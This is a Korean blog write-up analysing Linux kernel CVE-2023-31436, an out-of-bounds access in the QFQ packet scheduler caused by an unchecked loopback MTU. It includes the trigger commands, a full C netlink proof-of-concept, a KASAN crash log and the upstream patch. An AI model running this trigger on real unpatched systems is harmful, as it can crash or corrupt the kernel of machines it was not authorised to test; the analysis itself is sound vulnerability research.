[Kernel Exploit Tech][CVE] CVE-2023-31436 분석
이 취약점은 리눅스 커널 6.2.13 이하에서 lmax
가 QFQ_MIN_LMAX
를 초과하는 값을 가지도록 해 out-of-bound write를 유도하는 취약점이다.
이 커밋에서 해당 취약점에 대한 패치를 확인할 수 있다.
0. Background - QFQ란?
QFQ란 Quick Fair Queueing의 약자로, tc
유틸리티에서 제공하는 패킷 스케줄링 알고리즘이다. QFQ는 class(struct qfq_class
)를 통해 패킷을 관리하는데,
여러 class를 묶어놓은 것을 qdisc(struct qfq_sched
)라 한다. 이 취약점에서는 class와 관련된 함수를 통해 OOB를 발생시키게 된다.
1. 취약점 분석
1-1. lmax 검증 누락
qfq_change_class()
에서 다음과 같은 코드를 볼 수 있다.
static int qfq_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
struct nlattr **tca, unsigned long *arg,
struct netlink_ext_ack *extack)
{
...
if (tb[TCA_QFQ_LMAX]) {
lmax = nla_get_u32(tb[TCA_QFQ_LMAX]);
if (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {
// 512 <= lmax <= 2^16
pr_notice("qfq: invalid max length %u\n", lmax);
return -EINVAL;
}
} else
// 여기는 검증이 없음 -> QFQ_MAX_LMAX를 넘어선 값을 할당 가능
lmax = psched_mtu(qdisc_dev(sch));
// -> tb[TCA_QFQ_LMAX]가 null이어야 함
...
}
여기서 tb[TCA_QFQ_LMAX]
가 거짓인 경우, psched_mtu()
를 통해 가져온 값에 대한 검증이 없다. 위의 조건식으로부터 lmax
는 $2^9$에서 $2^{16}$사이의 값을 가져야 한다는 것을 알 수 있지만, loopback 장치의 경우 MTU가 최대 $2^{31}-1$로 설정될 수 있다는 점을 고려하면 lmax
의 최댓값을 아득히 뛰어넘는 값을 설정할 수 있게 된다. 이렇게 잘못 설정된 lmax
는 이후 다음 과정에 영향을 미치게 된다.
new_agg = qfq_find_agg(q, lmax, weight);
if (new_agg == NULL) { /* create new aggregate */
sch_tree_unlock(sch);
new_agg = kzalloc(sizeof(*new_agg), GFP_KERNEL); // (1)
if (new_agg == NULL) {
err = -ENOBUFS;
gen_kill_estimator(&cl->rate_est);
goto destroy_class;
}
sch_tree_lock(sch);
qfq_init_agg(q, new_agg, lmax, weight);
}
여기서 lmax
자체가 잘못된 값을 가지고 있기 때문에 qfq_find_agg()
는 무조건 실패할 수밖에 없다. 따라서 커널은 kzalloc()
를 통해 새로운 qfq_aggregate
를 만들 것이고(1), 이후 qfq_init_agg()
를 호출해 새로 할당받은 qfq_aggregate
를 초기화하려고 할 것이다.
qfq_init_agg()
에서는 다음과 같이
static void qfq_init_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
u32 lmax, u32 weight)
{
INIT_LIST_HEAD(&agg->active);
hlist_add_head(&agg->nonfull_next, &q->nonfull_aggs);
agg->lmax = lmax;
agg->class_weight = weight;
}
잘못된 lmax
값이 그대로 새로 할당받은 qfq_aggregate
에 쓰게 된다. 이후 qfq_add_to_agg()
를 호출해 이 qfq_aggregate
를 qfq_class
에 등록하게 된다.
1-2. OOB
static void qfq_add_to_agg(struct qfq_sched *q,
struct qfq_aggregate *agg,
struct qfq_class *cl)
{
cl->agg = agg;
qfq_update_agg(q, agg, agg->num_classes+1);
...
}
qfq_add_to_agg()
에서는 위와 같이 qfq_update_agg()
를 호출한다. 이 함수를 따라들어가면
static void qfq_update_agg(struct qfq_sched *q, struct qfq_aggregate *agg,
int new_num_classes)
{
...
agg->budgetmax = new_num_classes * agg->lmax;
...
if (agg->grp == NULL) {
int i = qfq_calc_index(agg->inv_w, agg->budgetmax,
q->min_slot_shift);
agg->grp = &q->groups[i];
}
...
}
다음과 같이 budgetmax
에 new_num_classes
와 agg->lmax
를 넣은 값을 대입하고, 이 값을 qfq_calc_index()
에 넘겨 인덱스를 계산하는 것을 볼 수 있다. 이때, lmax
에는 원래 들어가는 값보다 훨씬 큰 값을 넣을 수 있었기 때문에 계산된 i
는 원래 인덱스 범위를 넘어서게 되고, 따라서 OOB가 발생하게 된다. 이때 lmax
를 잘 조절해 원하는 i
를 만들어낼 수 있다면 구조체의 다른 필드에 영향을 미치게 할 수 있다. 그러나 lmax
의 최댓값이 $2^{31}-1$이기 때문에 원하는 모든 곳에 접근하는 것은 불가능하다.
static int qfq_calc_index(u32 inv_w, unsigned int maxlen, u32 min_slot_shift)
{
u64 slot_size = (u64)maxlen * inv_w;
...
index -= !(slot_size - (1ULL << (index + min_slot_shift - 1)));
...
return index;
}
호출되는 qfq_calc_index()
를 보면 lmax
이외에도 inv_w
값이 크면 클수록 slot_size
도 커지고, 결국 index
가 커진다는 것을 알아낼 수 있다. 이때 inv_w
를 따라가면서 어떤 값에 영향을 받는지 살펴보면 다음과 같이 계산되는 것을 볼 수 있다.
따라서 weight값이 가장 작으면서 lmax가 가장 클 때 index가 가장 커진다는 것을 알 수 있다.
1-3. 잘못된 값에 읽기/쓰기
위에서 분석했듯 이 취약점을 트리거하면 agg->grp
에 범위를 넘어선 값을 쓸 수 있음을 알 수 있다. 이제 이 값에 접근해 읽거나 쓰는 함수를 찾아보면 다음과 같이
qfq_schedule_agg()
에서 읽기/쓰기를 모두 시도하고 있음을 알 수 있다.
/*
* Schedule aggregate according to its timestamps.
*/
static void qfq_schedule_agg(struct qfq_sched *q, struct qfq_aggregate *agg)
{
struct qfq_group *grp = agg->grp; // 여기서 read
...
if (grp->full_slots) { // 여기서 read
__clear_bit(grp->index, &q->bitmaps[IR]); // 여기서 write
__clear_bit(grp->index, &q->bitmaps[IB]);
...
}
grp->S = roundedS; // 여기서 write
grp->F = roundedS + (2ULL << grp->slot_shift);
...
__set_bit(grp->index, &q->bitmaps[s]); // 여기서 write
...
}
따라서 취약점 트리거 후 qfq_schedule_agg()
를 호출하면 OOB R/W가 발생하게 되고, KASAN을 통해 확인할 수 있게 된다.
2. PoC 작성
2-1. 트리거
- lo의 mtu를 큰 값으로 설정 (
ip link set lo mtu 2147483647
) - lo에 qdisc 부착 (
tc qdisc add dev lo root handle 1: qfq
) - 만든 qdisc에 class생성 (
tc class add dev lo parent 1: classid 1:10 qfq weight 3
) - 만든 class 수정 →
qfq_change_class()
가 호출됨 (tc class change dev lo parent 1: classid 1:10 qfq weight 1
) - 이 class를 lo에 부착 (
tc filter add dev lo parent 1: protocol ip u32 match ip dst 127.0.0.1 flowid 1:10
)
이 명령들을 C로 옮기면 다음과 같다. (lo
가 down인 상태일때를 고려해 ip link set lo up
을 추가했다.)
펼치기 / 접기
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <linux/pkt_sched.h>
#include <linux/pkt_cls.h>
#include <linux/if_ether.h>
#include <net/if.h>
#include <errno.h>
#include <stdint.h>
#ifndef __LINUX_PKT_SCHED_NETEM_COMPAT__
#define __LINUX_PKT_SCHED_NETEM_COMPAT__
/* 매우 오래된 uapi 헤더 대응용 상수 값 강제 정의
(커널 uapi의 netem attribute 번호: 대부분의 커널에서 아래 값과 동일) */
#ifndef TCA_NETEM_QOPT
# define TCA_NETEM_QOPT 1 /* 예전 TCA_NETEM_PARMS와 동일 슬롯 */
#endif
#ifndef TCA_NETEM_RATE
# define TCA_NETEM_RATE 7 /* rate(32-bit) attribute 슬롯 */
#endif
#endif
#ifndef TC_H_ROOT
#define TC_H_ROOT 0xFFFFFFFFU
#endif
#ifndef TC_H_MAKE
#define TC_H_MAKE(major, minor) (((major) << 16) | (minor))
#endif
/* ---------- RTA helpers ---------- */
static inline struct rtattr *rta_tail(struct nlmsghdr *n)
{ return (struct rtattr *)(((char *)n) + NLMSG_ALIGN(n->nlmsg_len)); }
static void rta_add(struct nlmsghdr *n, int type, const void *data, int len)
{
struct rtattr *rta = rta_tail(n);
rta->rta_type = type;
rta->rta_len = RTA_LENGTH(len);
if (len) memcpy(RTA_DATA(rta), data, len);
n->nlmsg_len = NLMSG_ALIGN(n->nlmsg_len) + RTA_LENGTH(len);
}
static struct rtattr *rta_nest_start(struct nlmsghdr *n, int type)
{
struct rtattr *nest = rta_tail(n);
rta_add(n, type, NULL, 0);
return nest;
}
static void rta_nest_end(struct nlmsghdr *n, struct rtattr *nest)
{ nest->rta_len = (char *)rta_tail(n) - (char *)nest; }
/* ---------- NL helpers ---------- */
static int nl_ack(int fd)
{
char buf[8192];
struct iovec iov = { .iov_base = buf, .iov_len = sizeof(buf) };
struct sockaddr_nl sa;
struct msghdr msg = { .msg_name = &sa, .msg_namelen = sizeof(sa),
.msg_iov = &iov, .msg_iovlen = 1 };
while (1) {
ssize_t len = recvmsg(fd, &msg, 0);
if (len < 0) { perror("recvmsg"); return -1; }
for (struct nlmsghdr *h = (struct nlmsghdr *)buf;
NLMSG_OK(h, (unsigned)len);
h = NLMSG_NEXT(h, len)) {
if (h->nlmsg_type == NLMSG_DONE) return 0;
if (h->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = (struct nlmsgerr *)NLMSG_DATA(h);
if (err->error == 0) return 0; /* 정상 ACK */
errno = -err->error;
perror("netlink error");
return -1;
}
}
}
}
static int nl_send_to_kernel(int fd, void *buf, size_t len)
{
struct sockaddr_nl sa = {0};
sa.nl_family = AF_NETLINK;
ssize_t s = sendto(fd, buf, len, 0, (struct sockaddr *)&sa, sizeof(sa));
if (s < 0) { perror("sendto"); return -1; }
return 0;
}
int main(void)
{
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) { perror("socket"); return 1; }
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
int ifidx = if_nametoindex("lo");
if (!ifidx) { perror("if_nametoindex(lo)"); return 1; }
{
struct { struct nlmsghdr n; struct ifinfomsg ifi; char buf[256]; } req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifi));
req.n.nlmsg_type = RTM_NEWLINK;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.ifi.ifi_family = AF_UNSPEC;
req.ifi.ifi_index = ifidx;
req.ifi.ifi_change = 0xFFFFFFFF; /* 모든 플래그 변경 허용 */
req.ifi.ifi_flags = IFF_UP; /* 인터페이스 활성화 */
if (sendto(fd, &req, req.n.nlmsg_len, 0,
(struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("sendto(RTM_NEWLINK/UP)");
return 1;
}
if (nl_ack(fd) < 0) return 1;
puts("[*] lo link set to UP");
}
/* (1) lo MTU 설정 */
{
struct { struct nlmsghdr n; struct ifinfomsg ifi; char buf[256]; } req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(req.ifi));
req.n.nlmsg_type = RTM_NEWLINK;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.ifi.ifi_family = AF_UNSPEC;
req.ifi.ifi_index = ifidx;
uint32_t mtu = 2147483648 - 1;
rta_add(&req.n, IFLA_MTU, &mtu, sizeof(mtu));
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("sendto(RTM_NEWLINK/IFLA_MTU)"); return 1;
}
if (nl_ack(fd) < 0) return 1;
printf("[*] lo MTU set to %u\n", mtu);
}
/* (2) QFQ 설치 (root 1:) */
{
struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(req.t));
req.n.nlmsg_type = RTM_NEWQDISC;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = ifidx;
req.t.tcm_parent = TC_H_ROOT;
req.t.tcm_handle = 0x00010000U; /* 1: */
const char kind[] = "qfq";
rta_add(&req.n, TCA_KIND, kind, sizeof(kind));
struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);
/* LMAX는 의도적으로 미설정 */
rta_nest_end(&req.n, opts);
if (sendto(fd, &req, req.n.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
perror("sendto(RTM_NEWQDISC/qfq)"); return 1;
}
if (nl_ack(fd) < 0) return 1;
puts("[*] installed QFQ root (handle 1:) without LMAX");
}
/* (3) 클래스 1:10 업서트 (weight만 설정) */
{
struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(req.t));
req.n.nlmsg_type = RTM_NEWTCLASS;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE | NLM_F_ACK;
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = ifidx;
req.t.tcm_parent = 0x00010000U; /* parent = 1: */
req.t.tcm_handle = 0x00010010U; /* classid = 1:10 */
const char kind[] = "qfq";
rta_add(&req.n, TCA_KIND, kind, sizeof(kind));
struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);
uint32_t weight = 1;
rta_add(&req.n, TCA_QFQ_WEIGHT, &weight, sizeof(weight));
/* LMAX 미설정 */
rta_nest_end(&req.n, opts);
if (nl_send_to_kernel(fd, &req, req.n.nlmsg_len) < 0) { close(fd); return 1; }
if (nl_ack(fd) < 0) { close(fd); return 1; }
puts("[*] upsert class 1:10 (weight set, no LMAX)");
}
/* (4) filter 추가: dst=127.0.0.1 → flowid 1:20 */
{
struct { struct nlmsghdr n; struct tcmsg t; char buf[512]; } req = {0};
req.n.nlmsg_len = NLMSG_LENGTH(sizeof(req.t));
req.n.nlmsg_type = RTM_NEWTFILTER;
req.n.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req.t.tcm_family = AF_UNSPEC;
req.t.tcm_ifindex = ifidx;
req.t.tcm_parent = 0x00010000U; /* parent = 1: */
req.t.tcm_handle = 0;
/* tcm_info: 하위 16비트=protocol, 상위 16비트=priority */
__u32 prio = 1;
__u16 proto = htons(ETH_P_IP);
req.t.tcm_info = ((prio << 16) | proto);
const char kind[] = "u32";
rta_add(&req.n, TCA_KIND, kind, sizeof(kind));
struct rtattr *opts = rta_nest_start(&req.n, TCA_OPTIONS);
/* TCA_U32_SEL payload = tc_u32_sel + tc_u32_key[1] */
struct {
struct tc_u32_sel sel;
struct tc_u32_key key[1];
} u = {0};
u.sel.flags = TC_U32_TERMINAL; /* 이 키가 매칭되면 종료 */
u.sel.nkeys = 1;
/* IPv4 dst는 IP 헤더 기준 offset 16바이트 */
u.key[0].off = 16;
u.key[0].offmask = 0;
u.key[0].val = htonl(0x7F000001); /* 127.0.0.1 */
u.key[0].mask = htonl(0xFFFFFFFF); /* 정확히 일치 */
rta_add(&req.n, TCA_U32_SEL, &u, sizeof(u));
/* flowid 1:20 지정 */
uint32_t flowid = 0x00010010U; /* 1:20 */
rta_add(&req.n, TCA_U32_CLASSID, &flowid, sizeof(flowid));
rta_nest_end(&req.n, opts);
if (nl_send_to_kernel(fd, &req, req.n.nlmsg_len) < 0) { close(fd); return 1; }
if (nl_ack(fd) < 0) { close(fd); return 1; }
puts("[*] added u32 filter: match dst=127.0.0.1 → flowid 1:10");
}
close(fd);
return 0;
}
중간중간 printk()
를 사용해 로그를 찍은 후 dmesg
를 통해 로그를 살펴보면 다음과 같이 lmax가 큰 값으로 조작된 것을 볼 수 있다.

2-2. KASAN
커널 소스를 살펴보면 QFQ_MAX_INDEX
는 24라고 나와 있지만 우리가 조작한 값으로 계산된 index는 37이므로 OOB가 일어났음을 알 수 있다. OOB R/W가 일어나도록
lo에 ping
을 날려주면 KASAN이 OOB를 감지하는 것을 볼 수 있다.

전체 KASAN로그 (펼치기 / 접기)
[ 52.934239] ==================================================================
[ 52.934468] BUG: KASAN: slab-out-of-bounds in qfq_activate_agg.constprop.0+0x75/0x200
[ 52.934850] Read of size 4 at addr ffff8881041eacc0 by task ping/53
[ 52.934915]
[ 52.935099] CPU: 0 PID: 53 Comm: ping Not tainted 6.3.0-rc6-00126-g829cca4d1783-dirty #24
[ 52.935240] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.164
[ 52.935379] Call Trace:
[ 52.935440] <TASK>
[ 52.935508] dump_stack_lvl+0x36/0x50
[ 52.935583] print_report+0xcf/0x670
[ 52.935626] ? __pfx__raw_spin_lock_irqsave+0x10/0x10
[ 52.935661] ? stack_trace_save+0x90/0xd0
[ 52.935689] ? __virt_addr_valid+0xd8/0x160
[ 52.935721] kasan_report+0xc9/0x100
[ 52.935750] ? qfq_activate_agg.constprop.0+0x75/0x200
[ 52.935785] ? qfq_activate_agg.constprop.0+0x75/0x200
[ 52.935834] qfq_activate_agg.constprop.0+0x75/0x200
[ 52.935889] qfq_enqueue+0x4d7/0x920
[ 52.935928] ? __pfx_qfq_enqueue+0x10/0x10
[ 52.935961] ? _raw_spin_lock+0x80/0xe0
[ 52.935995] dev_qdisc_enqueue+0x2d/0xe0
[ 52.936034] __dev_queue_xmit+0xeb7/0x1640
[ 52.936073] ? arp_constructor+0x28e/0x4b0
[ 52.936108] ? __pfx___dev_queue_xmit+0x10/0x10
[ 52.936141] ? arp_hash+0x2c/0x40
[ 52.936170] ? _raw_write_unlock_bh+0xd/0x20
[ 52.936198] ? _raw_write_lock_bh+0x84/0xe0
[ 52.936226] ? __asan_memcpy+0x3c/0x60
[ 52.936251] ? eth_header+0xd0/0xe0
[ 52.936280] ? __pfx_eth_header+0x10/0x10
[ 52.936307] ? neigh_resolve_output+0x1fd/0x300
[ 52.936339] ip_finish_output2+0x2a1/0xa00
[ 52.936370] ? __pfx_ip_finish_output2+0x10/0x10
[ 52.936401] __ip_finish_output.part.0+0x148/0x420
[ 52.936431] ? __pfx___ip_finish_output.part.0+0x10/0x10
[ 52.936458] ? __pfx_selinux_ip_postroute+0x10/0x10
[ 52.936485] ? nf_hook_slow+0xda/0x100
[ 52.936512] ip_output+0x1f6/0x2c0
[ 52.936541] ? __pfx_ip_output+0x10/0x10
[ 52.936566] ? icmp_out_count+0x48/0x60
[ 52.936592] ? __pfx_ip_finish_output+0x10/0x10
[ 52.936622] ip_push_pending_frames+0xf0/0x100
[ 52.936652] raw_sendmsg+0x9d9/0x1670
[ 52.936680] ? stack_trace_save+0x90/0xd0
[ 52.936709] ? __pfx__raw_read_unlock+0x10/0x10
[ 52.936739] ? __pfx_raw_sendmsg+0x10/0x10
[ 52.936765] ? walk_system_ram_range+0xf6/0x170
[ 52.936792] ? sysvec_apic_timer_interrupt+0xe/0x80
[ 52.936825] ? _raw_spin_lock+0x80/0xe0
[ 52.936852] ? __pfx__raw_spin_lock+0x10/0x10
[ 52.936879] ? walk_to_pmd+0x28/0x1e0
[ 52.936912] ? __get_locked_pte+0xa2/0x160
[ 52.936942] ? __pfx_selinux_socket_sendmsg+0x10/0x10
[ 52.936972] ? lookup_memtype+0x71/0x100
[ 52.937007] ? inet_send_prepare+0x1a/0x110
[ 52.937037] ? __pfx_inet_sendmsg+0x10/0x10
[ 52.937066] ? sock_sendmsg+0xd6/0xe0
[ 52.937092] sock_sendmsg+0xd6/0xe0
[ 52.937121] __sys_sendto+0x1af/0x230
[ 52.937177] ? __pfx___sys_sendto+0x10/0x10
[ 52.937208] ? __do_fault+0x65/0x140
[ 52.937237] ? __pfx___handle_mm_fault+0x10/0x10
[ 52.937280] ? up_read+0x1a/0x90
[ 52.937310] ? do_user_addr_fault+0x2fe/0x850
[ 52.937342] __x64_sys_sendto+0x71/0x90
[ 52.937374] do_syscall_64+0x3f/0x90
[ 52.937402] entry_SYSCALL_64_after_hwframe+0x72/0xdc
[ 52.937484] RIP: 0033:0x48f787
[ 52.937655] Code: c7 c0 ff ff ff ff eb be 66 2e 0f 1f 84 00 00 00 00 00 90 f3 0f 1e fa 80 3d 60
[ 52.937732] RSP: 002b:00007ffd182048f8 EFLAGS: 00000202 ORIG_RAX: 000000000000002c
[ 52.937799] RAX: ffffffffffffffda RBX: 000000000054b9ee RCX: 000000000048f787
[ 52.937832] RDX: 0000000000000040 RSI: 00000000012f5a60 RDI: 0000000000000000
[ 52.937861] RBP: 0000000000000040 R08: 00000000006609c8 R09: 000000000000001c
[ 52.937890] R10: 0000000000000000 R11: 0000000000000202 R12: 00007ffd182049d0
[ 52.937920] R13: 000000000061c087 R14: 0000000000000000 R15: 0000000000000001
[ 52.937968] </TASK>
[ 52.938023]
[ 52.938047] Allocated by task 52:
[ 52.938108] kasan_save_stack+0x33/0x60
[ 52.938152] kasan_set_track+0x25/0x30
[ 52.938180] __kasan_kmalloc+0x8f/0xa0
[ 52.938206] __kmalloc_node+0x5c/0x160
[ 52.938233] qdisc_alloc+0x5d/0x320
[ 52.938255] qdisc_create+0xc5/0x780
[ 52.938280] tc_modify_qdisc+0x205/0xb70
[ 52.938305] rtnetlink_rcv_msg+0x231/0x560
[ 52.938333] netlink_rcv_skb+0xda/0x210
[ 52.938359] netlink_unicast+0x365/0x500
[ 52.938386] netlink_sendmsg+0x3bb/0x6d0
[ 52.938412] sock_sendmsg+0xde/0xe0
[ 52.938434] __sys_sendto+0x1af/0x230
[ 52.938458] __x64_sys_sendto+0x71/0x90
[ 52.938482] do_syscall_64+0x3f/0x90
[ 52.938503] entry_SYSCALL_64_after_hwframe+0x72/0xdc
[ 52.938539]
[ 52.938580] The buggy address belongs to the object at ffff8881041e8000
[ 52.938580] which belongs to the cache kmalloc-8k of size 8192
[ 52.938629] The buggy address is located 3552 bytes to the right of
[ 52.938629] allocated 7904-byte region [ffff8881041e8000, ffff8881041e9ee0)
[ 52.938667]
[ 52.938750] The buggy address belongs to the physical page:
[ 52.938894] page:(____ptrval____) refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn8
[ 52.939083] head:(____ptrval____) order:3 entire_mapcount:0 nr_pages_mapped:0 pincount:0
[ 52.939138] flags: 0x200000000010200(slab|head|node=0|zone=2)
[ 52.939533] raw: 0200000000010200 ffff888100042280 dead000000000122 0000000000000000
[ 52.939566] raw: 0000000000000000 0000000080020002 00000001ffffffff 0000000000000000
[ 52.939610] page dumped because: kasan: bad access detected
[ 52.939628]
[ 52.939642] Memory state around the buggy address:
[ 52.939787] ffff8881041eab80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 52.939831] ffff8881041eac00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 52.939865] >ffff8881041eac80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 52.939893] ^
[ 52.939935] ffff8881041ead00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 52.939955] ffff8881041ead80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 52.939986] ==================================================================
[ 52.940113] Disabling lock debugging due to kernel taint
3. 패치 분석
lmax = psched_mtu(qdisc_dev(sch));
+ if (lmax < QFQ_MIN_LMAX || lmax > (1UL << QFQ_MTU_SHIFT)) {
+ pr_notice("qfq: invalid max length %u\n", lmax);
+ return -EINVAL;
+ }
다음과 같이 psched_mtu()
로 읽어들인 값에 대한 검증이 추가됨으로써 취약점을 해결한 것을 볼 수 있다.
Leave a comment